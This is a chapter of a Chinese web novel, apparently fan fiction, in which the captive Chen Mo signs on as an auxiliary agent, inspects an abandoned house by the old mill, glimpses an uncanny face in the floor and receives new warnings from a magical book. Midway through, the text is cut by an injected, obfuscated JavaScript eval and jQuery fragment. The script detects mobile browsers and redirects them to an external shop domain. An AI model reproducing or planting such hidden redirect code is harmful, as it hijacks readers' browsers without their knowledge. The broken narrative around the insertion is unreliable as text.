第五章答复

    那一夜他没有合眼。

    不是失眠的那种焦躁——身体不困,精神不散,就是单纯地不需要睡觉。他靠着墙坐了一整夜,把那本书从第一页翻到第五页,再翻回去,来回看了三遍。第一页的自己,第二页的警告,第三页的布娃娃,第四页的钟楼,第五页的路和门。每一页都比前一天多了一点细节——第一页那团墨迹的边缘散开了,像是什么东西在往外渗透;第四页钟楼的圆形彩窗上新添了一道裂痕,斜着穿过玻璃。

    他合上书,把天亮之前的时间用来想一件事:他该怎么回答联络人。

    答应值夜者的条件是成为编外人员,配合调查,接受稳定的注射和观察。好处是能出去,能自由走动,能接近那栋房子。代价是值夜者会看着他,他查什么、去哪、见谁,都会被记录。他读过的那些剧情和情报也不可能毫无原因地往外说——一旦他说出什么本不该知道的东西,值夜者会立刻把他当成比"失忆非凡者"更大的威胁。

    不答应的话他还在牢房里,三天一次注射,洗衣妇在门口等着进不来。□□说的那些信息他知道但用不上,第三页那栋房子他知道在哪但到不了。

    天亮的时候他站起来,对着走廊喊了一声:"给我答复了。"

    灰制服比他预想的来得快。像是早就站在拐角等他这句话,脚步声刚落就到了牢门前。他被带去那间屋子的时候联络人已经在了,桌上有茶,没动过,烟从杯口往上飘。

    "想好了?"联络人问。

    "我答应。"陈默坐下来,"编外人员,配合调查,接受注射和观察。"

    联络人点了点头,像是早就猜到这个答案。他从桌子底下拿出一个牛皮纸信封推过来,里面有一沓纸,最上面是一张表格。"签字。你的名字写科尔就行,你不用想起来,手写能识别就行。"

    陈默拿起笔。笔尖落到纸面上的时候他停了一下,然后签下"科尔"两个字。笔画不顺,像是这具身体的手指不习惯写这个名字。他放下笔,联络人把表格收回去看了一眼,没有评价字迹的好坏。

    "编外人员的第一件事,"联络人把表格收进信封,"是完成一次外勤勘验。不会让你碰危险的东西,就是去一个位置做记录,拍照,回来写报告。今天下午出发。"

    陈默心里动了一下。"去哪?"

    "河下游。旧磨坊附近有一栋废弃的房子,值夜者接到过几次附近的异常报告。你去确认一下有没有人近期进出过的痕迹。不用进去,拍门锁和窗台就行。"

    旧磨坊附近。那栋房子。陈默坐在椅子上没动,脸上没有任何表情。联络人说的位置就是□□描述的那个地方——红砖房,深绿色的门,铁环把手。值夜者已经注意到它了,但还没有深入查过。他们派一个编外人员去拍几张照片回来,确认"有没有人进出过的痕迹",这听起来像是一次试探。试探他,也试探那栋房子。

    "下午几点出发?"他问。

    "灰制服会带你去。午饭之后。"

    陈默站起来往外走。走到门口的时候他回过头问了一句:"那栋房子,值夜者之前查过吗?"

    联络人端起茶喝了一口。"查过一次。去年夏天。什么都没发现。"他把茶杯放下,"但你问这个干什么?"

    "随便问问。"

    他走出屋子,跟着灰制服往回走。回到牢房之后他坐下来把那本书掏出来翻到第五页。那条路,那栋矮房子,深绿色的门。画面右下角那行字还在:"明天之后,门会开着。"

    今天下午他就要去那栋房子。时间正好卡在"明天之后"这个节点上。如果书说的没错,那栋房子今天会处于一个开放的状态——不是物理上的门锁开了,而是某种意义上的"可以进去"。他只要抓住那个时机,就能看到上一次值夜者没看到的东西。

    他对着墙壁低声说了一句:"瓦伦。"

    隔壁应了一声:"嗯。"

    "下午我要去那栋房子。"

    瓦伦沉默了几秒。"值夜者让你去的?"

    "他们说让我去拍几张照片,确认有没有人进出过的痕迹。"

    墙壁那边传来一声很轻的呼吸。"他们试探你。"

    "我知道。"陈默说,"但他们让我去的地方正好是我想去的地方。"

    瓦伦没有再说话,但陈默听见隔壁的床铺响了一下,像是□□坐了起来。过了好一会儿墙壁那边才传过来一句话,声音压得比平时低,像是只给他一个人听的。

    "如果你进去了——如果你真的进去了——记住我跟你说的。别看地上那张脸。如果你看到了,别停留超过三秒。"

    "三秒之后呢?"

    "三秒之后你就不走了。"

    陈默把这句记在脑子里。别超过三秒。□□三年前认识的那个人看了那张脸之后就变了,但瓦伦知道"三秒"这个界限——说明有人告诉过他,或者他自己试过。

    "你以前进去过?"陈默问。

    墙壁那边安静了很长时间。久到他以为瓦伦不会回答了。然后他听见那边传来一声极轻的回应,哑哑的,像是从喉咙深处挤出来的。

    "我进去过。我没超过三秒。但我看见了。"

    "看见了什么?"

    "一张脸。不是画的,不是刻的。像是从地底下长上来的。"

    瓦伦说完这句就不再出声了。陈默坐在原地,把那本书攥在手里,手指按着第五页那条路的画面。他今天下午要踏上那条路,走到那扇深绿色的门前。他不知道自己会看到什么,但他知道他进去了之后还能不能出来。

    他把书翻开,翻到第六页。昨晚还是空白的地方已经有了新的内容——一根细长的针管,断成两截。针管旁边散着几滴深色的液体,像是墨,又像是血。画面左上角有一行字,笔迹比之前更急、更乱,像是赶在什么东西追上来之前写的:

    "第三次之前,把事做完。"

    陈默看着这行字。第三次注射。联络人说过一周三次注射,第三次之后看情况。他现在打了第一次,今天下午出去勘验,打完第二次之后就是第三次。如果这本书说的是真的,第三次之前他必须把那栋房子里的事情弄清楚——否则第三次之后他可能就没有机会了。

    他把书合上放回口袋。午饭之前他会先确认一件事:那本书画的东西有没有错过。第三页画了布娃娃和地上的脸,他今天下午就会看到它们是不是真的在那里。如果第三页是对的,那第六页这句警告也没有理由错。

    他靠着墙坐着,等着灰制服来叫他的那段时间。窗洞里漏进来的光从一面墙缓缓挪到另一面墙。他听见隔壁瓦伦翻了一个身,然后安静了下来。

    午饭很快就来了。他三口两口喝完了糊糊,把碗放下,站起来等着。

    没过多久灰制服走到铁栏前,手里多了一把钥匙。

    "走吧,"灰制服说,"车在外面等着。"

    陈默站起来跟着他往外走。经过瓦伦牢门的时候他侧头看了一眼,□□坐在角落里,脸朝着墙壁,像睡着了。但陈默看见他的后背比平时绷得紧,像是整具身体都在听走廊这边的动静。

    陈默没有停步,跟着灰制服穿过走廊,上了几级台阶,推开一扇铁门。

    阳光猛地砸在他脸上。

    他眯了一下眼。好几天没看见太阳了,光打在他脸上、肩上、手上,暖的。他抬起头看天,灰蓝色的,有几朵云,很薄,风不大。廷根市的天跟地球的天看起来没什么两样,但空气里的味道不一样——有煤烟、河水、和某种说不清的潮气混在一起。

    灰制服带着他走到一辆黑色马车旁边。车夫坐在前面,马车后面拉着一个空车厢,里面有两把折椅。

    "上车。"灰制服说。

    陈默踩着踏板上了马车,在折椅上坐下。灰制服坐到他对面,把车帘拉下来半截。马车晃动了一下,轮子碾在石子路上发出咕噜咕噜的声音,开始往城外走。

    他隔着车帘的缝隙看着外面的街道。房子不高,砖砌的,墙面有的刷白有的露着红砖。路边有人走路,有人赶着板车,有个小孩蹲在门口画地上的线。这就是廷根市的普通街区——跟他读的那本书里的描述不完全一样,但那种日常感对得上。值夜者的存在、非凡者的暗流、那些藏在日常底下的东西,都在这里。

    马车走了大概二十分钟,路面从石子的变成了土路,房子越来越少。他能闻到河水的味道了,湿的,带着淤泥和草的腥气。灰制服一直没说话,只是看着车帘外面,像是这条路他也熟。

    马车停下来的时候,灰制服掀开车帘跳了下去。陈默跟着下来,踩到地面的那一刻脚底下传来的触感是松软的泥土。

    旧磨坊的废墟就在前面,一栋灰扑扑的砖楼,屋顶塌了一半,露出发黑的木梁。磨坊旁边有一条小路,沿着河岸往下走,路的尽头有一栋矮房子,红砖墙,深绿色的门。

    灰制服站住了。"就在那,"他指了指那栋房子,"你过去拍几张照片,门锁、窗台、墙根底下有没有新脚印。拍完回来。"

    "你不过去?"

    "值夜者说只让你一个人去。"灰制服的语气平平的,"东西在车上,相机和记录本。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825133|211227||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    "

    陈默走回马车边,从车厢里拿起那台相机和一本巴掌大的记录本。相机沉甸甸的,铁壳子冰凉。他把相机挂在脖子上,拿着记录本,沿着河边那条小路往那栋房子走过去。

    路两边的草很深,踩上去能没过脚踝。他走得不快,每一步都踩实了再迈下一步。他的心跳在加快,但他的手是稳的。他数着自己的步子从磨坊到那扇门一共是四十七步。

    门在他面前。深绿色的,漆面掉了大半,露出底下灰白色的木头。铁环门把手,锈了,锈得发红。门缝很窄,看不到里面的情况。

    陈默站在门前没有马上动。他把相机举起来,对准门锁拍了一张。然后退后一步拍了全门的照片,又蹲下来拍窗台和墙根底下的泥土。泥土上有几道浅浅的印子,不像鞋印,更像是某种粗糙的底面拖过去留下的痕迹。

    他放下相机站起来。

    门是锁着的。瓦伦说"门是锁着的",洗衣妇也说"门是锁着的"。但第五页那行字写的是"明天之后,门会开着"。

    他伸手握住铁环把手。

    铁环冰凉。他轻轻往上提了一下——

    门开了。

    没有锁。铁环提起来的时候门栓直接从槽里滑了出来,像是有人提前解开了锁,只是把门合上去伪装成锁着的样子。

    陈默的心跳顿了一下。他把门推开一条缝,侧身挤了进去。

    屋里的光线很暗。只有从门缝里透进来的一道光,照在面前几步远的地板上。他等了几秒让眼睛适应,然后看见了地板上的东西。

    一张脸。人的脸,大小跟真人的脸一模一样,位置刚好在屋子正中央的地板上。不是画上去的,不是刻上去的——像是从木头里自己长出来的,五官分明,紧闭着眼,表情平静得像一个在睡觉的人。

    陈默站在门边没有往前走。他看了一下那张脸,知道自己应该数三秒。

    一。他看见那张脸的眼皮底下有一层很细的纹路,像是东西在皮肤下面蠕动。

    二。他能闻到一种气味从地板上渗出来,甜的,像是花腐烂之后的那种甜。

    三。他把视线移开了。

    他把门推开更多让光照进来,扫了一圈房间其他地方。墙角有一个布娃娃,一只眼睛掉了,另一只眼睛直直地瞪着前方。跟第三页画的一模一样。

    他没有走过去碰那个布娃娃。他站在门口,把相机举起来拍了一张地板上的那张脸的照片。快门声在空房间里响了一声,声音大得像打了一个雷。

    然后他转身,拉开门,走了出去。

    门在他身后重新合上。铁环落回原位,门栓滑进槽里,咔哒一声。

    他站在门外深吸了一口气。河的腥味、草的味、泥土的味。他的手指在发抖,相机差点没拿稳。

    他走回到灰制服身边的时候,灰制服看了他一眼,什么也没问。

    "拍完了?"灰制服说。

    陈默点头。

    "上车。"

    他踩着踏板上了马车坐下来,相机放在膝盖上。马车晃动了一下,开始往回走。他在心里把□□说的那句话又过了一遍——"三秒之后你就不走了。"

    他没有超过三秒。但他看了那张脸一眼。那一眼之后,他脑子里多了一样东西——那张脸闭上眼的样子。它像一个人,但不像任何一个活人。像是有人把一个人的脸按进地里之后,留下了一个空心的人形壳子,而那个人本人已经不在了。

    马车颠了一下,他的膝盖撞在相机铁壳子上,疼了一下。

    他低头看着自己的手。手指还在抖。

    他翻开那本书,想看看第六页有没有变化。第六页还是那根断针管和那行警告。他翻到第七页。

    第七页是新的。

    画着一只手,手指张开,掌心里放着一粒小小的东西,圆形的,像是一颗药丸。画的右下角有一行字,比之前的字都轻,像用指甲划上去的:

    "吃了它。"

    陈默盯着那幅画看了一会儿。吃了它——他到现在为止收到过这本书的所有信息:第一页告诉他"你是谁",第二页提醒他"别信谁",第三页画出他要找的屋子,第四页提示重要地标,第五页告诉他"门会开",第六页警告他"第三次之前做不完就来不及了",第七页让他吃一样东西。

    他合上书放回口袋。马车还在往城里走,灰制服坐在他对面闭着眼,像是睡着了。

    他看着车帘外面后退的田野,脑子里那张闭着眼的脸一直没走。

    他知道他还会回去。

    门还会再开。

    第五章完